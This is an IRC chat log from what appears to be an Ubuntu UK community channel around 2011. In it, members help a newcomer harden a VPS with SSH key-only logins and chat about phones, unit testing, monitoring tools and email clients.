<HazRPG> dwatkins: ^^
<HazRPG> yeah, I recall seeing something in the manuals about visudo
 * HazRPG is somewhat lost
<andylockran> sorted it :)
<HazRPG> I know how to lock out root, however it would be silly to do so if my new user doesn't have sudo access yet
<andylockran> Cepheus: thanks for your help
<andylockran> I upgraded to the latest today
<andylockran> and it looks kewl
<Cepheus> andylockran: awesome.
<andylockran> it looks more than kewl
<andylockran> one strange thing is that text resolution in terminal looks weird.
<andylockran> kinda stretched, vertica
<andylockran> l
<andylockran> but screen res is correct
<popey> andylockran: got natty + nouveau working?
<andylockran> popey: yeah
<andylockran> how to turn off that damn autohide :p
<andylockran> do you know how to turn it off?
<Cepheus> I use the proprietary NVIDIA driver; my card is a little too new for nouveau support
<Cepheus> at least, at an acceptable standard
<popey> no, i dont andylockran
<popey> I'm amazed nouveau is good enough to run minecraft ;)
<Cepheus> ah, the minecraft bug is spreading far and wide and fast.
<andylockran> oooh, pressing super gets the menu to display
<DeathSling> I was after more info about xen so I went to there site only to find that they've had a serious hardware failure. Seeing as xen is about virtualisation and the ability to failover.... it's a bit ironic
<andylockran> That's tidy - googled for new version of my original wordpress theme
<andylockran> found a good 'un :)
<andylockran> http://zrmt.com/  Theme is Cordobo Green.
<HazRPG> hmm, the group "admin" doesn't seem to exist
 * HazRPG looking at /etc/group
<HazRPG> adm does though
<popey> thats right
<popey> bah, bed!
<andylockran> 10043 andy      20   0  458m 158m  34m R  145  4.8   1:41.25 banshee-1
<andylockran> wow
<andylockran> %CPU for banshee hitting 177
<HazRPG> ah ha! I think I get it now! :D
<Cepheus> I personally prefer Rhythmbox to Banshee
<Cepheus> mono is a bit of a hog...
<hamitron> everything is :/
<hamitron> at least it is starting to feel that way ;)
<Cepheus> the faster computers get, the less important optimisation is for devs
<Cepheus> result: bloat
<hamitron> and then the need for even faster comps ;)
<HazRPG> why is it that I hate documentation ... yet it is essentially what I'm doing now T_T
<HazRPG> question about secure shell keys, I created one and linked it to my launchpad like a week ago... just wondering, I'm guessing I could make one for connecting to my vps... how would I limit access on my vps so that only my key is allowed access? And how would I use it to connect to it?
<Cepheus> HazRPG: I'm guessing you have full access?
<HazRPG> yeah
<HazRPG> I just bought a vps for Â£15 a year
<HazRPG> plan to host my blog onto it, and possibly running irssi over screen
<HazRPG> just trying to lock it down though
<HazRPG> so far, I've changed root password to a really really secure password (very obscure!), created a new user (that's me), created an admin group, made admin have some sudo access via visudo, and made my user a part of the admin group
<HazRPG> also been poking through /etc/ssh/sshd_config
<HazRPG> so far the only change I've done is "PermitRootLogin no"
<HazRPG> and added "AllowUsers <user>"
<HazRPG> but I haven't saved that file yet though
<andylockran> I'd generate a ssh key instead of allowing passwords
<andylockran> that's a secure thing to do
<HazRPG> you mean what I've done so far is a secure thing to do, or the ssh key thing?
<HazRPG> limiting by ssh key is what I'd like to do
<HazRPG> I've created one on my workstation (different from my launchpad one)
<Cepheus> once you can confirm your SSH key works for login
<HazRPG> but how do I use it
<Cepheus> right
<Cepheus> in your homedir
<Cepheus> cd ~/.ssh
<HazRPG> much appreciated in advance btw :)
<andylockran> copy id_rsa.pub (or the equivalent) in your homedir .ssh folder, into the remote .ssh dir - and renamed it to authorized_keys
<Cepheus> this
<andylockran> or listen to Cepheus
<andylockran> sorry - that was a very quick explanation
<Cepheus> don't forget to chmod it to 700 and make sure you are the owner
<Cepheus> otherwise SSH will refuse to use it
 * HazRPG opens up new terminal to confirm new user works
<Cepheus> now, if you did all that, ssh -i /path/to/your/privatekey user@host
<Cepheus> user is your username obv, and host is your host
<Cepheus> if that works
<HazRPG> right ok so .ssh doesn't exist in my home directory so I'm doing mkdir .ssh
<Cepheus> okay.
<HazRPG> chmod 700 .ssh
<Cepheus> make sure you chmod it to 700
<HazRPG> correct?
<Cepheus> yes
<HazRPG> right
<HazRPG> user@host being my current machine?
<Cepheus> HazRPG: The machine you want to connect to via SSH with private key
<Cepheus> and the user
<HazRPG> I'm guessing id_rsa is my private key
<Cepheus> it is indeed.
<HazRPG> (opening it says private key, so assumption seems correct)
<HazRPG> okay, it asked for password after doing that... but I'm logged in using ssh -I /path/to/privatekey user@host
<Cepheus> little i.
<HazRPG> yeah little i
<HazRPG> its just auto-word correct automatically changes it to caps on pidgin
<Cepheus> ah
<HazRPG> just did ls -a on .ssh and there's nothing there - but I'm guessing it shouldn't?
<Cepheus> no, it should appear on ls -a
<HazRPG> hmm, maybe I chmod it wrong
<HazRPG> hang on
<Cepheus> right directory?
<HazRPG> no I think I just typed in "chmod 700 .ssh" instead of "chmod 700 .ssh <user>"
<HazRPG> hmm, ls -ag shows this:
<HazRPG> drwx------ 2 admin  4096 2011-02-24 02:26 .ssh
<Cepheus> what's the name of the user, anyhow?
<HazRPG> hazrpg
<Cepheus> try chown -R hazrpg.hazrpg .ssh
<Cepheus> or, sudo chown -R hazrpg.hazrpg .ssh
<HazRPG> hmm, its still not showing up in .ssh
<Cepheus> hmm
<Cepheus> so .ssh is in /home/hazrpg?
<Cepheus> and authorized_keys is in .ssh?
<HazRPG> on my local machine?
<Cepheus> on the remote machine
<Cepheus> the one you're trying to ssh to
<HazRPG> on the remote there's nothing in the .ssh folder
<Cepheus> ah. you need to copy id_rsa.pub (or its contents) into the authorized_keys file there.
<HazRPG> ah, is there a quicker way to do that rather than typing it all out?
<HazRPG> never really used ssh to transfer files before
<Cepheus> HazRPG: Sure. open id_rsa.pub in gedit, select all, copy.
<HazRPG> heh seriously?
<Cepheus> yup
<Cepheus> then
<Cepheus> echo *paste* > /home/hazrpg/.ssh/authorized_keys
<Cepheus> should work
<Cepheus> (over ssh)
<Cepheus> don't type out *paste*, but right click > paste insteadd
<HazRPG> guess I need to put "" in between that otherwise the spaces will just mess things up
<HazRPG> heh, don't worry I knew that one ;)
<Cepheus> yes
<Cepheus> my bad!
<HazRPG> ;)
<HazRPG> right, done that
<HazRPG> guess I should log back in again :)
<Cepheus> chmod -R 700 ~/.ssh
<Cepheus> then you should be able to log in with the command from before
<HazRPG> should authorized_keys also be part of my group instead of admin btw?
<Cepheus> I think it should be as long as you're the owner and permissions are 700
<HazRPG> I did chown on it just in case
<HazRPG> right logging out and back in again
<HazRPG> well ubuntu just asked for my ssh passphrase, so I'm guessing something went right that time :)
<HazRPG> still no id_rsa in there though :(
<Cepheus> don't worry about that. all you need is the authorized_keys in there.
<HazRPG> ah ok
<Cepheus> that login okay?
<HazRPG> yeah it did
<Cepheus> awesome.
<Cepheus> now, the other bit that you wanted
 * HazRPG writes this all down just in case I need to reference it in future
<Cepheus> to disable passworded logins from SSH
<HazRPG> well to only allow a person with an authorized ssh key yeah
<HazRPG> (aka me)
<Cepheus> sudo echo "PasswordAuthentication no" >> /etc/ssh/sshd_config
<HazRPG> I'll use vim, since I always like to make sure I comment stuff
<Cepheus> then sudo /etc/init.d/ssh restart
<Cepheus> now, your server will only accept public key logins
<HazRPG> public key logins?
<Cepheus> logging in with your key.
<HazRPG> yeah I got that
<HazRPG> but does that mean anyone with the public key will be allowed?
<HazRPG> (my public key I mean)
<Cepheus> *meant private key.
<HazRPG> hope so :P
<Cepheus> so of course:
<Cepheus> don't give away your public key
<HazRPG> Hmm, would I still need "AllowUsers hazrpg" then?
<HazRPG> since I added that in earlier
<HazRPG> hang on, then why would launchpad add public keys if you couldn't give  that one away
<HazRPG> surely it's the private one you should never give away :P
<Cepheus> Well, it works like this.
<Cepheus> The Public key verifies your identity. anything wanting to verify your identity just needs your public key.
<Cepheus> The private key IS your identity. Anyone that has it is you according to the public key.
<Cepheus> and, keep the allowusers line.
<HazRPG> I thought authentications could only happen if you had the private key
<HazRPG> yeah I will do
<HazRPG> (keep AllowUsers)
<Cepheus> The public key is like a record of your thumbprint.
<Cepheus> The private key is like your thumb itself.
<Cepheus> People can know your thumbprint but they can't go round putting your thumbprint everywhere
<HazRPG> so someone with the public key, can't gain access to my server unless they had the private key to go with it?
<Cepheus> exactly so
<Cepheus> so just make sure you don't lose your thumb =p
<HazRPG> I've backed up both keys
<HazRPG> you just had me concerned for a moment, since I have a public key on launchpad - when you said don't give it out, well I already have a public key out there on the net
<Cepheus> no. the public key can be given to anyone.
<HazRPG> *phew*
<HazRPG> lol
<HazRPG> thank you very very much dude, been a great help :)
<Cepheus> no problem. Sorry that I faltered through this a bit =p
<HazRPG> you shall be much credited on my blog when I write up my adventures with ubuntu server
<HazRPG> its cool
<HazRPG> <== still an ubuntu server trainee
<HazRPG> learning stuff pretty quick though
<HazRPG> found screen very useful when the internet was being choppy the other night
<HazRPG> so glad that was one of few commands I learned early on
<Cepheus> learning is the big hurdle with linux. once you learn, you are the master!
<HazRPG> indeed!
<HazRPG> I thought I knew a lot until I started messing with ubuntu server in a VM
<HazRPG> was almost like everything else was small fry
<HazRPG> thing I've noticed is, that control in linux is very easy and straight forward - you just need to know your commands/files & directories well
<HazRPG> in windows, anyone can pretend to know anything because most of it is point-click
<HazRPG> always funny to see sysadmins go nuts when they're point-clicks don't work and they can't work out what's wrong :P
<Cepheus> yes. that is one of the beauties of GNU/Linux and other similar operating systems: everything can be done the same way.
<HazRPG> their*
<HazRPG> I think the only thing that varies in linux is the sudo command
<HazRPG> I've found all the others seem to exist in pretty much all
<Cepheus> GUI is nice and accessible. but you're limited to whatever the person who wrote the software wants you to see
<HazRPG> thus the reason I'm trying to learn all this :)
<HazRPG> got fed up of my home server not doing what I explicitly want it to
<Cepheus> with the command line, you don't have to memorize menus or spend hours looking for options.
<HazRPG> or worry that the GUI will change and you can't find it again :P
<HazRPG> (updates, etc)
<Cepheus> oh, the number of times this happens
<Cepheus> especially microsoft
<Cepheus> they love doing this.
<HazRPG> tell me about it :/
<HazRPG> last service pack messed things up big time with my apache server and a few other things
<Cepheus> See: Office, Windows, Visual Studio, Paint, MSN/Windows Live Messenger, Internet Explorer
<HazRPG> it decided to reset a few environment variables and other stuff, and moved them around
<Cepheus> they don't look the same for more than 5 minutes.
<HazRPG> heh agreed
<HazRPG> I must say, I'm starting to love the command line
<Cepheus> I haven't updated yet. I dislike Microsoft's big updates. Especially when their operating systems bluescreen while doing them and render your system 100% inoperable
<HazRPG> going from maybe using it a few times in a week
<HazRPG> I've gone to using 5-7 at a time every day!
<Cepheus> no matter what operating system, I can guarantee you I always have at least one terminal open =p
<Cepheus> even on my phone!
<HazRPG> oh I meant my windows server I have, it's a student licence I have on it
<HazRPG> keep meaning to root my nexus :P
<Cepheus> ah. I've got one but I've not used it.
<HazRPG> put cm6 or something on it
<HazRPG> nexus one?
<HazRPG> :o why not?
<Cepheus> I bought a hacker's phone ;)
<HazRPG> do tell ;)
<Cepheus> no, a Windows Server student license
<HazRPG> yeah I got it from Uni last year
<Cepheus> Nokia N900. Not particularly handsome or bulky in the spec department.
<Cepheus> but it's raw linux.
<Cepheus> essentially customised debian.
<HazRPG> oh wow, I almost bought that phone too!
<HazRPG> is it any good?
<HazRPG> spread the joy, dish out the dirt!
<Cepheus> It works okay as a phone, but it shines in the hacker department.
<HazRPG> almost got that phone myself, since I've always preferred nokia's phones - plus the slide out keyboard seemed like a bonus too
<HazRPG> Cepheus: how so? raw terminal access?
<Cepheus> Everything is almost identical in structure to debian/ubuntu - command line is there with bash, your full array of tools,
<Cepheus> Xorg and pulseaudio
<HazRPG> wow
<Cepheus> it's desktop linux adapted for the phone.
 * HazRPG looks at his nexus...
<HazRPG> see that was one thing that almost put me off it
<HazRPG> well did put me off it
<HazRPG> I wasn't sure if they'd pull of the fact that it had too many tools from the desktop side of things - was afraid it might end up being a sluggish machine to run
<HazRPG> s/of/off*
<Cepheus> the third party apps are not as extensive as android's at all though. but there are huge amounts of open source software ported.
<Cepheus> It's not actually that slow, surprisingly.
<HazRPG> I recall reading someone trying to port blender to it just for fun as proof of concept
<HazRPG> when I read that, my jaw dropped and wished I'd got one instead of the nexus
<Cepheus> hah.
<Cepheus> if lwjgl supported OpenGL ES... well, it might possibly play Minecraft.
<Cepheus> but
<Cepheus> it doesn't
<Cepheus> and it'd probably run very slowly on account of the limited memory and non-desktop processor
<HazRPG> I thought it had something comparable to the atom on-board
<HazRPG> I thought it was at least 1GHz
<Azelphur> Cepheus: I have a G2 running android myself :D
<HazRPG> oh wow, hey :)
<Azelphur> nah, it's 528mhz qualcomm
<Azelphur> in the n900
<Cepheus> nope. 600MHz Cortex A8
<Azelphur> I thought the n900 was 528?
<HazRPG> overclocked maybe :P?
<Azelphur> hehe
<HazRPG> give it some more juice!
<Azelphur> HazRPG: my G2 has an 800Mhz processor in it, I've overclocked it to 1.8ghz
<HazRPG> nice xD
<Cepheus> says here that the default max frequency is 600MHz
<Cepheus> I've gone up to 1.1GHz
<HazRPG> hmm, apparently my vps doesn't have man installed :S
<Azelphur> I wish android was more like maemo, it's a shame maemo died.
<Cepheus> yeah
<Cepheus> it died of windows phone 7
<Azelphur> xD
<Azelphur> windows mobile 7 is just a joke
<HazRPG> I think the problem is google is so big that people trust them blindly
<Azelphur> Microsoft is way too late to the party to make much of a difference
<Cepheus> The biggest problems with maemo are the 3 largest overheads
<Cepheus> Xorg, Pulseaudio, and Gecko.
<HazRPG> heh did you hear about microsoft wanting geohotz to jailbreak the windows 7
<HazRPG> for their phone
<Cepheus> powerful? yes. also a bit large.
<Azelphur> HazRPG: seems completely stupid lol
<HazRPG> Cepheus: you could say that, but if they'd packed it into some slightly better hardware then you wouldn't be saying that :P
<Cepheus> I would have thought that they would have chosen WebKit over Gecko, really.
<Cepheus> HazRPG: It was a for-market prototype, really
<HazRPG> I've heard people saying they put android on the ol' n900
<HazRPG> seems like such a waste to place it on such a device :(
<Cepheus> they have. It doesn't work quite right yet.
<Cepheus> I want Intel to hurry up and get MeeGo to a usable state... maybe that'll work out
<HazRPG> however I guess with android being on it, you do get to have a lil more leg room as far as resources go
<Cepheus> but I didn't like that direction completely either
<HazRPG> right I really really need to write down the stuff you showed me earlier before I forget
<Cepheus> hah
<HazRPG> back in a bit
<Cepheus> well, the only thing I reall didn't like about MeeGo was the choice to use RPM over dpkg
<HazRPG> best way to learn is to do, and then write it in your own words - it sticks better then :)
<Cepheus> oh yes.
<HazRPG> I really wish rpm would die :/
<HazRPG> hmm something doesn't seem right here
<HazRPG> /etc/group shows this "admin:x:1001:"
<HazRPG> or does the number not really matter?
<HazRPG> also, shouldn't my user be added on at the end?
<HazRPG> :q!
<HazRPG> oops
<HazRPG> Cepheus: btw, thank you for the help earlier :)
<Cepheus> no problem.
<Myrtti> btw, MeeGo development is still ongoing and even the amount of commits Nokians do to it hasn't fallen
<Myrtti> it's way too early to call MeeGo dead
<MartijnVdS> "dying" then
<MartijnVdS> ?
<Myrtti> I'd say "struggling" until the full commitment of Nokia works out
<MartijnVdS> "on life support"
<Myrtti> but it has been struggling since day one with Android being so strong
<Myrtti> in theory it's on a strong basis in comparison to Android, which in many ways is a closed box
<Myrtti> but...
<Myrtti> theory doesn't work like that
<Myrtti> but then again, feel free not to join my fragile optimism, it is a bit mandatory for me but I can fully understand why others don't feel the same :-/
<HazRPG> morning gues
<HazRPG> guys*
<HazRPG> and gals*
<HazRPG> hmm... what does the red "42!" mean in byobu
<AlanBell> morning
<AlanBell> HazRPG: 42 updates available to apply with apt-get upgrade
<HazRPG> AlanBell: ah, awesome :)
<HazRPG> AlanBell: muchas gracias :)
<HazRPG> would explain why I couldn't find any results for it in google
<HazRPG> my first thought was "wow, meaning of life, the universe and everything"
<alexcockell> Morning..
<HazRPG> morning
<alexcockell> Looks like we're all watching the Meego news...
<HazRPG> :P
<alexcockell> I was a little concerned about why it was a half'n'half blend of Debian and Red Hat... would that have described it accurately?
<HazRPG> hmm, latest apache2 seems to be very different from what I'm use to (config-wise)
<HazRPG> they've moved all the files around
<alexcockell> So a bit like GRUB2 was to GRUB?
<alexcockell> Not that I would know - preinstall user here...
<HazRPG> alexcockell: nah, I use apache2 on my existing server, but I only patched it up every so often
<HazRPG> the whole config was pretty much one file though
<HazRPG> now it seems to be at least 4
<HazRPG> that I can see
<HazRPG> I like it the idea, means stuff is only placed where it needs to be... but still learning where stuff is meant to go
<shauno> morning
<DJones> Morning all
<shauno> half tempted to go back to bed already
<HazRPG> morning
<DJones> shauno: Looking at the weather forecast, today is supposed to be quite good, if you go back to bed, you might miss this years summer
<HazRPG> heh, after securing my vps up and doing a bit of config
<HazRPG> under "Technical Info" it says "Server Status: SSH login failed"
<HazRPG> that's on the website for my vps
<HazRPG> I wonder if that's because of the way I've set it up
<HazRPG> I've set it to only allow ssh key logins, and restricted root access, and only one user is allowed to login (me)
<HazRPG> that's pretty rock solid surely...
<HazRPG> unless I've got neighbours already trying to access my server
<dwatkins> hi folks
<HazRPG> I think I should give ubuntu server a rest for a little bit
<HazRPG> let some of the stuff I've done so far sink in lol
<HazRPG> I think I've wrote about ~200 lines of stuff so far of things I've learned!
<BigRedS> HazRPG: that's pretty good! But, yeah, you can overdo the experimenting! :)
<HazRPG> its why I'm documenting everything I do in my own words :)
<HazRPG> that way its sticking in my mind better
<HazRPG> plus it means I have something to reference that I'll be able to understand at a glance
<HazRPG> one reason why I love commenting my code too
<HazRPG> they're like little notes to yourself to remind you about stuff :)
<HazRPG> I think coding is where I got this habit from :P
<MartijnVdS> HazRPG: just remember to comment on the "why".. the how should be obvious from reading the code ;)
<HazRPG> MartijnVdS: I've been commenting since I was 13, so I learned that the hard way ;)
 * MartijnVdS has to wade through lots of "what" comments every day... people tend to forget to document the "Why" :(
<HazRPG> MartijnVdS: I feel your pain
<czajkowski> Aloha
<HazRPG> I'm currently going through the same thing for the site I'm working on :(
<HazRPG> czajkowski: hey :)
<AlanBell> yay
<AlanBell> hi czajkowski
<screen-x`> morning :)
<czajkowski> AlanBell: fancy seeing you here
 * HazRPG waves to AlanBell :)
 * AlanBell is on the other side of the room to czajkowski 
<czajkowski> so when does this thing start
<JamesTait> OHAI!
<czajkowski> grrrrr
<screen-x`> this is among the things I was hoping not to see when running do-release-upgrade "[: 22: bin: unexpected operator"
<screen-x`> I see that JamesTait is speaking lolcat today..
<JamesTait> I can haz cheezeburger?
<MartijnVdS> http://lolcode.com/
<MartijnVdS> HazRPG: also, unit tests -- they make life easy :)
<JamesTait> MartijnVdS: +1 for unit tests.
<MartijnVdS> JamesTait: we write them religiously at work.. we've learned a lot about writing testable code :)
<MartijnVdS> JamesTait: also, http://misko.hevery.com/code-reviewers-guide/
<MartijnVdS> JamesTait: (java-oriented, but adaptable to other languages)
<JamesTait> MartijnVdS: Same here. TDD and code reviews and pylint for style. And I think only a bot and a small subset of "admin" users can merge branches into trunk, and the bot runs the tests and makes sure they pass before doing the merge.
<HazRPG> MartijnVdS: unit tests?
 * czajkowski mutters
<czajkowski> I hate being touched and patted in a condescending way
<czajkowski> drives me batty
<MartijnVdS> HazRPG: check that link I posted :)
<MartijnVdS> HazRPG: extra code (tests) you write to confirm that the other code you wrote does what it should :)
<czajkowski> patting me on the arm saying there there is not a good way to get in my books!
 * kazade pats czajkowski on the arm
<JamesTait> HazRPG: But for TDD, you should write the tests *before* you write the code it's going to test. It sounds weird, but it forces you to think about how your code will work before you start trying to write it.
<MartijnVdS> JamesTait: we do that 50/50 at work
<MartijnVdS> sometimes we do tests first, sometimes code.. depends on what we're doing really
<HazRPG> MartijnVdS: I don't get what I'm doing on this site :S
<MartijnVdS> HazRPG: read, watch videos :)
<JamesTait> MartijnVdS: Yeah, we're pretty good with it, and I'd say we do it pretty consistently for all bug fixes except the simplest, but for new code, sometimes it just grows from something simple and we write tests for it afterwards.
<HazRPG> JamesTait: I tend to find either writing them down, discussing them with people, or writing it out in a text editor (what its meant to do and how) works best
<danfish> AlanBell: stop patting czajkowski on the arm ;)
<JamesTait> MartijnVdS: There are times when it's a bit of push and shove - you write a few tests to figure out the interface, you write some implementation to make the tests pass, then you experiment a little bit and end up with something that appears to work, so write the tests to verify it.
<MartijnVdS> HazRPG: Look for "Clean Code Talks" on youtube -- he's done google tech talks to explain :)
<HazRPG> previously I use to even do mockups in a presentation app, vb6 or flash - just to get a rough idea of how things are going to piece together
<MartijnVdS> JamesTait: yeah, but knowing a few good patterns for writing easily-testable code helps a lot as well :)
<JamesTait> MartijnVdS: One trick I tend to use it to hash stuff out in comments first, then add the code afterwards.
<MartijnVdS> HazRPG: but can you be sure all old functionality works the same as before after adding a new feature?
<JamesTait> MartijnVdS: +1 for patterns too.
<MartijnVdS> JamesTait: yes, I write code as comments first (in Dutch or English), then replace those comments with real code :)
<shauno> that was something I liked about the google code uni exercises.  each one is a file full of empty/skeleton functions, and a test at the end.  you code to match the test
<HazRPG> MartijnVdS: I try my best to make my work as modular as possible, that way instead of having massive amounts of code mashed into one, your only doing the essentials on the main pages, everything else is managed in classes/modules/functions
<MartijnVdS> HazRPG: you should seriously consider writing unit tests then :)
<HazRPG> MartijnVdS: your making me feel like I'm a bad coder lol
<MartijnVdS> HazRPG: I don't know that.. you might be :P
<MartijnVdS> HazRPG: you might be the best coder ever to walk the earth.. :)
<HazRPG> I wouldn't go that far :P
<MartijnVdS> HazRPG: anyway.. if you have time, check out those videos.. they rock :)
<HazRPG> no code is ever perfect - no matter who the programmer is
 * BigRedS really needs to get into this whole planning-the-code thing
<HazRPG> the lolcode ones?
<MartijnVdS> HazRPG: no, the "Clean Code Talks" and http://misko.hevery.com/code-reviewers-guide/
<BigRedS> everything I write is a quick-and-dirty script that stays in place until I try to modify it and find it incomprehensible
<MartijnVdS> HazRPG: http://misko.hevery.com/presentations/ == clean code talks (among others)
<HazRPG> BigRedS: its not that hard really
<MartijnVdS> BigRedS: recognising that there is a problem is the first step in solving it :)
<HazRPG> MartijnVdS: oh, yeah I've got one on now - clicked the sub button too ^^
<HazRPG> MartijnVdS: much like my fear of using only a CLI for servers :P?
<MartijnVdS> HazRPG: probably, yes ;)
<HazRPG> I must say I'm really enjoying working with ubuntu server :)
<HazRPG> found myself having several terminals open now as standard haha
<BigRedS> MartijnVdS: It's also the smallest and easiest step :)
 * HazRPG currently has htop running in the background for some of the machines in the house to keep an eye on them ^^
<tugrik> anyone out there running an up to date 10.04?  Can you tell me what the output if of "sshd -V"?
<HazRPG> tugrik: one moment
<HazRPG> tugrik: I've got: OpenSSH_5.3p1 Debian-3ubuntu4, OpenSSL 0.9.8k 25 Mar 2009
<tugrik> it is 5.3, ok, cheers HazRPG
<HazRPG> tugrik: no problem
<tugrik> btw - what are you looking out for with htop?
<HazRPG> just general monitoring to make sure nothing is going haywire
<tugrik> cool, look at "monit" if you want notifications about certain processes or the overall load on the box
 * HazRPG hates it when my sister just tells me "its not working" and not giving details as to why
<tugrik> :)
<HazRPG> from what I can see, it's a web interface?
<BigRedS> yeah, you stick a bunch of monitors on your box, and it displays what's wrong
<HazRPG> cool, might have to give that a try
<BigRedS> I think you can plug active notifications in, too, so you can sit there reading the paper safe in the knowledge that if anything breaks your phone will go off
<BigRedS> unless the bit that does the phone breaks :)
<HazRPG> :P
 * HazRPG really likes the "shutdown -h now" command ^^
 * screen-x` uses twitter for phone notifications, so theres 40% chance that if something breaks, he'll know about it
<HazRPG> unless it's the internet that  breaks
<screen-x> HazRPG: hence the low percentage..
<HazRPG> :P
<screen-x> also the unreliability of twitter..
<shauno> I get sms when things don't look right.  rather annoying, because it's usually while I'm sat in front of it
<screen-x> HazRPG: although actually the internet connection failure issue is somehwat mitigated by monitoring from local and remote boxes -- one of them is likely to be able to twitter.
<HazRPG> MartijnVdS: heh so far this is how I code :P
<MartijnVdS> HazRPG: "this"? :)
<HazRPG> the class/function testing as you go along
<MartijnVdS> HazRPG: automated tests, or manual? :)
<HazRPG> both
<MartijnVdS> HazRPG: this is all about having/using an automatic test framework
<Jibadeeha> screen-x, are the SMSs free if you use twitter for phone notifications
<HazRPG> I use google calendar for free sms's :P
<dwatkins> I used to have twitter updated from a script, I need to learn OAUTH to find out how to make this work again.
<Jibadeeha> good idea HazRPG
<HazRPG> originally when someone told me about it, I thought it was daft to use a calendar for dealing with sms's but you'd be surprised when you actually start doing it
<Jibadeeha> HazRPG, it is quite a clever way to do it
<HazRPG> also means that its not shown in public eye :P
<HazRPG> or even your own if you use the calendar for other things (like I do)
<Jibadeeha> HazRPG, google calendars it is then
<HazRPG> its not that hard to do either
<Jibadeeha> what API do you use
<HazRPG> even better, none ;)
<Jibadeeha> just URLs
<HazRPG> google calendar can be set to just monitor a url of feeds
<HazRPG> (I have a url feed for birthdays from facebook)
<screen-x> do-release-upgrade doesn't seem to have many options, is there a way to get it to choose the default answer to all questions?
<MartijnVdS> screen-x: no, becuase you never know all questions in advance
<Jibadeeha> nice - this is a clever idea
<MartijnVdS> screen-x: packages might ask the dreaded Yes/No/Diff question
<screen-x> Jibadeeha: (really slow response) but yes, the sms notifications are free
<HazRPG> Jibadeeha: you have to send your data into a file on a webserver somewhere in a format that the calender can understand
<screen-x> MartijnVdS: in that case, I want to keep my locally changed version
<HazRPG> Jibadeeha: and then just use the basic functions inside of google calendar as to when you want SMS's to be sent
<screen-x> MartijnVdS: I'm pretty sure apt/dpk have the required options, just need do-release-upgrade to pass them..
<Jibadeeha> HazRPG, so i could put an alert in the feed on my webserver for the calendar to pick up - sounds easy enough
<MartijnVdS> screen-x: patches welcome, I guess ;)
<screen-x> ;)
<HazRPG> so you could have it set to send an SMS as soon as a new event has been found, or you could have it so that it's sent closer to the date (like few days/hrs) that you've set it for
<HazRPG> just make sure you add a few minutes or so onto the stamp you put in your feed to allow for uploading/download etc
<MartijnVdS> if you use the gdata API to add the event to a google calendar, it can be almost instant
<HazRPG> otherwise it might just count it as being in the past and not send an sms
<MartijnVdS> and you don't need web space to upload an ics to
<popey> morning all
<MartijnVdS> \o popeyman
<HazRPG> could do it that way too...
<HazRPG> Jibadeeha: the whole thing is well documented if you just search for it
<czajkowski> hmmm
<popey> HMMMMMM indeed!
<HazRPG> popey: \o hi :)
<HazRPG> MartijnVdS: wow, that room looked empty!
<HazRPG> MartijnVdS: during the Q&A
<screen-x> Bought otterbox case for HTC Desire, not quite as sturdy as it looks in the pics, but fits well.
<MartijnVdS> HazRPG: it's not a celebrity speaker :)
<MartijnVdS> HazRPG: he's*
<HazRPG> MartijnVdS: might have to re-watch that later when I can fully take in what he's saying... I don't think I've ever done it that way before, I do tend to do a lot of the other stuff that he talks about
<HazRPG> I always try to write things in such a way that classes aren't trying to connect too much into other classes, but that's just me
<MartijnVdS> HazRPG: http://www.c2.com/cgi/wiki?LawOfDemeter
<HazRPG> heeh
<HazRPG> hehe*
<HazRPG> right, I've gotta grab some zzz's before my brain melts
<HazRPG> might be back online in 6hrs or so
<screen-x> HazRPG: sleep well :)
<HazRPG> toodles o/
<HazRPG> screen-x: will do :)
 * HazRPG might wait for electricsheep to run before leaving ^^
<popey> AlanBell: upgraded ubuntu-uk.org to wordpress 3.1, looks like nothing is broken
<czajkowski> popey: you're missing over there
<czajkowski> popey: AlanBell is at the plugfest
<AlanBell> popey: great
 * czajkowski waves at AlanBell 
<davmor2> morning all
<popey> YES!
<danfish> popey: ??????????
<popey> ??????????????????????????????????????????
<danfish> heh - YES! to what? Won the lottery?
 * mungojerry wonders if he could buy a real gold crown for his head at the price he just paid the dentist for a little one on his tooth
 * davmor2 hugs czajkowski 
<dwatkins> popey has changed languages, we may never understand him again...
<popey> BEEF!
<dwatkins> are you talking in hex now?
<danfish> dwatkins: no - mad cow disease. It's finally got him ;)
 * exobuzz backs away slowly from popey
<kaushal> Can someone recommend complete replacement of Outlook 2007 on MS Windows XP including Calendar/Meeting Rooms in a suitable Email Client on Ubuntu ?
<czajkowski> davmor2: dealing with old school boys club
<czajkowski> :(
<czajkowski> so not nice
<BigRedS> kaushal: what sorts of servers do you need to speak to? There's not a lot that speaks Exchange very well
<davmor2> czajkowski: :D this from the woman from the all girls club right,  do they know what they let themselves in for?
<kaushal> Microsoft Exchange Server 2007
<czajkowski> davmor2: oh I got told it was just the dutch mannerism
<czajkowski> by tthe british buy who then started to pat my arm also
<BigRedS> I've never had much success making free software talk to Exchange. MS don't like people doing that, so they do try to make it hard
<exobuzz> joggler users: new jolicloud - xbmc installed by default as well as mplayer with vaapi support) - http://joggler.exotica.org.uk/jolicloud/ (and squeezeplay as before)
<screen-x> kaushal: the standard answer is google apps, but that is just as proprietary exchange..
<BigRedS> Evolution's probably as close as you'll get
<davmor2> czajkowski: haha!
<czajkowski> :(
<popey> screen-x: depends what the motivation is
<popey> screen-x: if the motivation is to "get off exchange" then google apps is fine :)
<popey> screen-x: if the motivation is "get control of our own mail and get off exchange" then may not ;)
<BigRedS> ah, I thought it was just 'replace Outlook'
<popey> well, we dont know do we, limited spec :)
<BigRedS> "complete replacement of Outlook 2007 on  MS Windows XP including Calendar/Meeting Rooms
<BigRedS> " sounds very client-side
<exobuzz> i couldnt handle evolution.. went to thunderbird,. evolutions odd way of searching just sucked vs thunderbirds lovely full text index
<screen-x> BigRedS: complete replacement, includes server..?
<BigRedS> thunderbird 3's way of searching irritates the hell out of me
<exobuzz> but of course it has that server client support
<BigRedS> screen-x: not if it's for Outlook. That's the client
<popey> kaushal: can you be more specific about which bits need replacing?
<exobuzz> BigRedS, i really like it. its lovely and quick
 * BigRedS wants exobuzz's evolution
<mungojerry> BigRedS: the thunderbird 3 search is great for me
<BigRedS> er, thunderbird
<screen-x> BigRedS: ah yes.. I tend to lump them together.
<exobuzz> BigRedS, and tyou have both quick message filter and full search ;-)
<popey> https://lists.ubuntu.com/archives/ubuntu-users/2011-February/240387.html
<popey> looks like just the client
<BigRedS> Every time I do a search, my pc freezes for about twenty seconds
<exobuzz> and evolution devleopment is SLOOW
<mungojerry> BigRedS: did you upgrade from evo 2 ?
<exobuzz> evolutions search is way slower than thunderbirds though
<mungojerry> i had problems in tb2
<mungojerry> and trashed my local cache and started again
